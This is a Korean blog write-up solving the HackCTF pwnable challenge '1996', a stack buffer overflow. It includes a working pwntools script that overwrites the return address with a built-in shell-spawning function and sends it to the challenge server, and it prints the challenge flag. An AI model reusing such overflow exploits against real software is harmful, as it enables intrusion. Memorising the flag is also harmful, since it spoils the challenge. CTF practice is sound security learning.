[Pwnalbe] 1996
Wargame/HackCTF

[Pwnalbe] 1996

오늘은 1996이라는 문제를 풀어볼거다.

굉장히 쉬운 문제였던거 같다.

 

mitigation

NX bit가 enabled 되어 있고

partial relro가 걸려있어 _DYNAMIC 섹션에 write 권한이 없다.

 

바로 아이다로 열어보자

 

main

c++ 바이너리이다.

 

우선 "Which environment variavle do you want to read"라는 문자열을 출력해주고

getenv로 name에 입력을 받는다

 

하지만 getenv에서 length check를 해주지 않으니 BOF가 터질거 같다.

 

취약점은 파악했으니 어떤 방식으로 익스를 해야될지를 생각해봐야된다.

 

위에서 이 문제가 어렵지 않다고 한 이유가

spawn_shell()

쉘을 띄워주는 함수가 내장되어 있다.

 

그럼 익스 코드를 쉽게 구상할 수 있다.

 

buf [0x410] + SFP [0x8] + ret -> spawn_shell

 

이런 방식으로 구상을 해준다면 쉽게 풀릴 거 같다.

 

spawn_shell의 주소를 구해보자

 

난 gdb로 구했는데 아이다를 활용하거나

다른 방법을 이용해도 된다.

 

이제 진짜 익스코드를 짜보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3013)

#p = process("./1996")

e = ELF("./1996")

p.recvuntil("? ")

payload = "A" * (0x410)

payload += "B" * 0x8

payload += p64(0x0000000000400897)

p.sendline(payload)

p.interactive()

 

코드를 정상적으로 작성한다면 

 

FLAG를 확인 할 수 있다.

 

FLAG = HackCTF{b29a2800780d85cfc346}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] RTL_Core  (0) 2021.02.07
[Pwnable] Random Key  (0) 2021.02.06
[Reversing] Handray  (0) 2021.02.04
[Pwnable] Poet  (0) 2021.02.04
[Pwnable] g++ pwn  (0) 2021.02.03